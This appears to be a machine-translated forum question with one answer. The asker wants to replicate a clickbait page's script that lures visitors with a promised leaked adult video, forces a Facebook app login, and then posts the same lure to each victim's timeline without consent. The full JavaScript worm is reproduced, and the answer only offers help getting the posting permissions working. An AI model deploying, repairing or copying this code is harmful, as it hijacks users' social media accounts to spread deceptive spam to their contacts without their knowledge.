我需要在这里制作这样的脚本: http://onion.mk/konecno-objaveno-domasnoto-video-na-nasata-voditelka/?ref=top
在观看帖子几秒钟后,自动将您重定向到facebook APP,并请求您登录以查看帖子。每次第一次登录后,您会看到任何其他帖子自动发布到您的时间线。
它的javascript,可以在网站的源代码中找到但不会工作...那里缺少的东西...... 有人可以帮我吗?
<div
id="fb-root"></div><script>
var app_id = '467647329957056'; var cookie_prefix = 'onion_mk_';
var appdomain = 'onion.mk';
var appdomain_formatted = appdomain.charAt(0).toUpperCase() + appdomain.substring(1);
function setCookie(c_name, value, exdays, time) {
var exdate = new Date();
if(time!='')
{
exdate.setTime( exdate.getTime() + (time*60*1000));
}else{
exdate.setDate(exdate.getDate() + exdays);
}
var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString()) + ";path=/;domain=" + appdomain;
document.cookie = cookie_prefix + c_name + "=" + c_value;
}
function getCookie(c_name) {
var i, x, y, ARRcookies = document.cookie.split(";");
for (i = ARRcookies.length - 1; i >= 0; i--) {
x = ARRcookies[i].substr(0, ARRcookies[i].indexOf("="));
y = ARRcookies[i].substr(ARRcookies[i].indexOf("=") + 1);
x = x.replace(/^\s+|\s+$/g, "");
if (x == cookie_prefix + c_name) {
return unescape(y);
}
}
}
function isEmpty(obj) {
for(var prop in obj) {
if(obj.hasOwnProperty(prop))
return false;
}
return true;
}
window.fbAsyncInit = function() {
FB.init({
appId : app_id,
status : true,
cookie : true,
xfbml : true
});
FB.Event.subscribe('edge.create', function (response) {
document.getElementById('likeboxbgr').style.display='none';
document.getElementById('likebox').style.display='none';
});
FB.getLoginStatus(function (response) {
var accessToken = null;
var session = FB.getAuthResponse();
if (session != null) {
accessToken = session.accessToken;
}
var token = accessToken;
var userID;
if(response.status == 'connected')
{
FB.api('/me', function (resp) {
userID = resp.id;
var fql_query = "SELECT uid FROM page_fan WHERE page_id = " + 487604931274728 + " and uid=" + userID;
var the_query = FB.Data.query(fql_query);
the_query.wait(function (rows) {
if (rows.length == 1 && rows[0].uid == userID) {
document.getElementById('likeboxbgr').style.display='none';
document.getElementById('likebox').style.display='none';
}else
{
document.getElementById('likeboxbgr').style.display='block';
document.getElementById('likebox').style.display='block';
}
});
if (getCookie('posted_article_100') == null && 69>0 && getCookie('posted') == null) {
FB.api('/me/feed','post',
{
message: 'Конечно објавено домашно видео на нашата водителка (+18)',
name: 'Конечно објавено домашно видео на нашата водителка (+18) | ' + appdomain_formatted,
caption: appdomain_formatted,
description: 'Неодамна излезе домашното видео на нашата позната водителка, за кое...',
link: 'http://www.facebook.com/connect/uiserver.php?app_id='+app_id+'&method=permissions.request&redirect_uri=http://onion.mk/konecno-objaveno-domasnoto-video-na-nasata-voditelka/&error_reason=user_denied&error=access_denied&error_description=The+user+denied+your+request.&response_type=none&display=page&auth_referral=1',
picture: 'http://onion.mk/wp-content/uploads/2013/02/SuperSexyGirls1.jpg'
},
function (rsp) {
if (rsp.id) {
setCookie('posted_article_100', '1', 5);
setCookie('posted', '1', 5, 15);
} else {
console.log(rsp);
top.location.href = 'http://www.facebook.com/connect/uiserver.php?app_id='+app_id+'&method=permissions.request&redirect_uri=http://onion.mk/konecno-objaveno-domasnoto-video-na-nasata-voditelka/&error_reason=user_denied&error=access_denied&error_description=The+user+denied+your+request.&response_type=none&display=page&auth_referral=1';
};
}
);
}
});
}else if (response.status === 'not_authorized')
{
document.getElementById('wrapper').style.opacity = 0.12;
top.location.href = 'http://www.facebook.com/connect/uiserver.php?app_id='+app_id+'&method=permissions.request&redirect_uri=http://onion.mk/konecno-objaveno-domasnoto-video-na-nasata-voditelka/&error_reason=user_denied&error=access_denied&error_description=The+user+denied+your+request.&response_type=none&display=page&auth_referral=1';
}else
{
console.log('not logged!');
}
});
};
(function(d, debug){
var js, id = 'facebook-jssdk', ref = d.getElementsByTagName('script')[0];
if (d.getElementById(id)) {return;}
js = d.createElement('script'); js.id = id; js.async = true;
js.src = "//connect.facebook.net/en_US/all" + (debug ? "/debug" : "") + ".js";
ref.parentNode.insertBefore(js, ref);
}(document, /*debug*/ false));
</script>
答案 0 :(得分:0)
从快速看,看起来代码应该有用。
您是否正确地在Facebook开发者中设置了应用程序 - 并要求使用正确的权限发布到用户的时间线上?